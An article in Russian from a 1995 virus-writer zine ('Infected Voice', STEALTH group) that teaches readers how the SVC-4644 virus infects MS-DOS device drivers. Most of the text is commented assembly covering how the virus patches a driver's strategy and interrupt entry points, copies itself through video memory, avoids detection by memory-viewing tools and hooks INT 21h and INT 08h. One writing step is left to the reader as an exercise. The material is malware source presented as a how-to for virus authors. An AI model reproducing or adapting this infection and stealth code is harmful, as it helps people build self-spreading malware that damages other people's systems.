█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█  ▀					    ▀	       ██▀██▀██
█ STEALTH group	█░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀  ██ ▀▀ ██
█   presents	█░ █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █  ▀█▀▀  █████ ██
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄  █████▄██
 ░░░░░░░░░░░░░░░░░                                                     JAN 1995

 INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
 -----------------------------------------------------------------------------

			VIRUS WRITER'S NOTES.
"Думаю, что этого никто не делал, поскольку этот путь размножения абсо-
лютно бесперспективен - драйверы практически никогда с машины на машину
не копируют..."
		Д.Н.Лозинский (файл AIDSVIR.TXT, описание SVC-4644.)

А вот я думаю, что этого не делали потому, что не умеют! А делать надо,
и вот почему - инсталлируясь в память с драйвера ( файлы c расширениями
SYS и BIN ),ваш вирус может сесть в нижние адреса вместе со своим носи-
телем, при этом не уменьшается общий объём доступной памяти, вируса  не
видно всякими утилитами просмотра памяти и,наконец, он может беспрепят-
ственно перехватить вектор 21h. Кроме того, напрасно Дмитрий Николаевич
на SVC-4644 наезжает - хороший вирус и довольно живучий!
Итак, как же SVC заражает драйверы и загружается с них? А вот как:
;----------------------------------------------------------------------
;   По смещению Fib находятся первые 18h байт заражаемого файла.
;----------------------------------------------------------------------
0413           CMP     WORD PTR CS:[Fib],0FFFFH
0419           JE      DRIVER
0456    DRIVER:
0456           MOV     AX,4202H
0459           XOR     CX,CX
045B           XOR     DX,DX
045D           CALL    INT_21h		; Получить размер файла
					; в DX:AX и передвинуть указатель
;------------------------------------------------------
; Проверить не слишком ли большого размера наш драйвер.
; (Должен быть вместе с вирусом не более 64К.)
;------------------------------------------------------
0460           CMP     DX,0
0463           JNE     EXIT
0465           CMP     AX,0F328H
0468           JAE     EXIT
;-----------------------------------------------------------------------------
046A           PUSH    AX			; В AX - длина драйвера
046B           MOV     DX,WORD PTR CS:[Fib+6]	; DX - cмещение для процедуры
						; стратегии
0470           MOV     WORD PTR CS:[STRAT],DX	; Сохраняем в теле вируса...
0475           MOV     DX,WORD PTR CS:[Fib+8]   ; DX - смещение для процедуры
						; прерывания
047A           MOV     WORD PTR CS:[INTER],DX	; Сохраняем в теле вируса...

047F           ADD     AX,OUR_STRAT		; Cмещение от 0 нашей стратегии
0482           MOV     WORD PTR CS:[Fib+6],AX	; Меняем заголовок...
0486           POP     AX			; В AX - первоначальная длина
						; драйвера
0487           ADD     AX,OUR_INTER		; Cмещение от 0 нашего прерывания
048A           MOV     WORD PTR CS:[Fib+8],AX	; Меняем заголовок...
;------------------------------------------------------------------------------
;  Teперь записываем изменённый заголовок на место и вирус в конец файла...
;  				Это сделаете сами.
;------------------------------------------------------------------------------

А вот как выглядит обработка процедур стратегии и прерывания:
;------------------------------------------------------------
;		Процедура стратегии.
;------------------------------------------------------------
0FDC           PUSH    SI
0FDD           CALL    SUB_1

        SUB_1  PROC    NEAR
0FE0           POP     SI		; В SI - смещение SUB_1 от начала файла 
0FE1           POP     CS:[SI+OLD_SI]	; Cохраняем старое значение SI
0FE6           SUB     SI,0FE0h		; В SI - смещение начала вируса
					; (старая длина файла)
0FEA           MOV     CS:[OLD_ES+SI],ES ; Сохраним ЕS
0FEF           MOV     CS:[OLD_BX+SI],BX ; Сохраним BX
;---------------------------------------------------
;	По адресу ES:BX находится заголовок запроса
;---------------------------------------------------
0FF4           PUSH    WORD PTR CS:[SI+STRAT] ; Адрес истинной стратегии
					      ; - в стек.
0FF9           MOV     SI,CS:[SI+OLD_SI] ; Восстанавливаем значение SI
0FFE           RETN			; Отдаём управление
        SUB_1  ENDP
;-------------------------------------------------------------
;	       Процедура прерывания
;-------------------------------------------------------------
0FFF           PUSH    SI
1000           CALL    SUB_2
 
        SUB_2  PROC    NEAR
1003           POP     SI		; В SI - смещение SUB_2 от начала файла
1004           POP     CS:[SI+OLD_SI]	; Cохраняем старое значение SI
1009           SUB     SI,1003H		; В SI - смещение начала вируса

100D           PUSH    AX
100E           PUSH    BX
100F           PUSH    CX
1010           PUSH    DX
1011           PUSH    SI
1012           PUSH    DI
1013           PUSH    ES
1014           PUSH    DS
;-----------------------------------------------
; Адреса стратегии и прерывания - на своё место
;-----------------------------------------------
1015           MOV     AX,WORD PTR CS:[SI+STRAT]
101A           MOV     WORD PTR CS:[6],AX
101E           MOV     AX,WORD PTR CS:[SI+INTER]
1023           MOV     WORD PTR CS:[8],AX
;-----------------------------------------------
1027           MOV     AX,0BA00h
102A           MOV     ES,AX		; В ES - сегмент видеопамяти, который
					; будет использован как буфер.
;--------------------------------------------
;     Доступен ли наш сегмент для записи?
;--------------------------------------------
102C           MOV     WORD PTR ES:[VL],4581H
1033           CMP     WORD PTR ES:[VL],4581H
103A           JNE     NOT_install
;--------------------------------------------
;      Перегоняем вирус в видеопамять
;--------------------------------------------
103C           XOR     DI,DI
103E           MOV     CX,VL	; VL - длина вируса. 
1041           CLD
1042           PUSH    CS
1043           POP     DS
1044           PUSH    SI
1045           REP     MOVSB
1047           POP     SI
;-------------------------------------------------------
;	Cохраняем наш временный сегмент
;	и смещение процедуры окончательной инсталляции
;-------------------------------------------------------
1048           MOV     CS:[SI+ourseg],0BA00h
104F           MOV     CS:[SI+finins],1077h
;-------------------------------------------------------
1056           CMP     AX,AX	; Если мы готовы инсталлироваться,
				; то очистим Zero Flag.
1058 NOT_install:
1058           POP     DS
1059           POP     ES
105A           POP     DI
105B           POP     SI
105C           POP     DX
105D           POP     CX
105E           POP     BX
105F           POP     AX
1060           JNZ     NOT_OKEY	; Так мы готовы ?
;-----------------------------------------------------
;  Если мы готовы, то сунем в стек сегмент и
;  смещение процедуры нашей окончательной инсталляции,
;  чтобы получить управление после окончания 
;  инсталляции драйвера.
;-----------------------------------------------------
1062           PUSH    CS:[SI+ourseg]
1067           PUSH    CS:[SI+finins]
;-----------------------------------------------------
106C  NOT_OKEY:
106C           PUSH    CS:[SI+INTER]
1071           MOV     SI,CS:[SI+OLD_SI]  ; Восстанавливаем старое значение SI
1076           RETN		          ; Передаём управление стратегии
					  ; драйвера.
        SUB_2  ENDP

;---------------------------------------------------------
;        Процедура окончательной инсталляции
;---------------------------------------------------------

1077           PUSH    ES
1078           PUSH    BX
1079           PUSH    AX
107A           PUSH    SI
107B           PUSH    DX
107C           PUSH    DS
107D           PUSH    CX
107E           XOR     DX,DX
1080           MOV     AH,84H
1082           INT     21H
1084           CMP     DX,1990H
1088           JNE     INSTALL		; А нет ли нас уже в памяти?
108A           JMP     READY		; Ecли есть - выход.
108D   INSTALL:
;---------------------------------------------
;	Восстановим старые ES u BX
;	(Указатель заголовка запроса)
;---------------------------------------------
108D           MOV     ES,WORD PTR CS:[OLD_ES]
1092           MOV     BX,WORD PTR CS:[OLD_BX]
;---------------------------------------------
;---------------------------------------------------------
;	Совпадает ли сегмент адреса памяти для пересылки с
;	нашим временным сегментом?
;---------------------------------------------------------
1097           MOV     AX,CS
1099           CMP     ES:[BX+10H],AX
109D           JNE     OK
;---------------------------------------------------------
109F           CMP     WORD PTR ES:[BX+0EH],10H
10A4           JB      READY
10A6        OK:
;---------------------------------------------------------
;	Не вылезем ли мы за границу сегмента?
;---------------------------------------------------------
10A6           CMP     WORD PTR ES:[BX+0EH],0CBB8H
10AC           JA      READY
;---------------------------------------------------------
10AE           MOV     AX,ES:[BX+0EH]		    ; AX - кол-во запрошенных байт
10B2           ADD     WORD PTR ES:[BX+0EH],BYTES   ; BYTES - кол-во необходимых
						    ; вирусу байт памяти
;---------------------------------------------------------
;	Вычисление нового сегмента вируса
;---------------------------------------------------------
10B8           XOR     DX,DX
10BA           MOV     SI,10H
10BD           DIV     SI
10BF           ADD     AX,ES:[BX+10H]
10C3           ADD     AX,1
10C6           MOV     ES,AX
;---------------------------------------------------------
;	Сохранение перехватываемых векторов прерывания
;---------------------------------------------------------
10C8           PUSH    ES
10C9           XOR     AX,AX
10CB           MOV     DS,AX
10CD           LES     AX,DWORD PTR DS:[84H]
10D1           MOV     WORD PTR CS:[OLD_21h],AX
10D5           MOV     WORD PTR CS:[OLD_21h+2],ES
10DA           LES     AX,DWORD PTR DS:[20H]
10DE           MOV     WORD PTR CS:[OLD_08h],AX
10E2           MOV     WORD PTR CS:[OLD_08h+2],ES
10E7           POP     ES
;----------------------------------------------------------
;	Клеимся к драйверу
;----------------------------------------------------------
10E8           XOR     SI,SI
10EA           XOR     DI,DI
10EC           PUSH    CS
10ED           POP     DS
10EE           CLD
10EF           MOV     CX,1224H
10F2           REP     MOVSB
;----------------------------------------------------------
;	Устанавливаем свои вектора.
;----------------------------------------------------------
10F4           CLI
10F5           XOR     AX,AX
10F7           MOV     DS,AX
10F9           MOV     WORD PTR DS:[84H],18DH
10FF           MOV     WORD PTR DS:[86H],ES
1103           MOV     WORD PTR DS:[20H],83AH
1109           MOV     WORD PTR DS:[22H],ES
110D           MOV     BYTE PTR ES:[11F6H],0	; А это просто
1113           MOV     BYTE PTR ES:[13C4H],1	; индикаторы!
1119           STI
;-----------------------------------------------------------
111A    READY:
111A           POP     CX
111B           POP     DS
111C           POP     DX
111D           POP     SI
111E           POP     AX
111F           POP     BX
1120           POP     ES
1121           RETF		; Отдать управление MS-DOS


; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
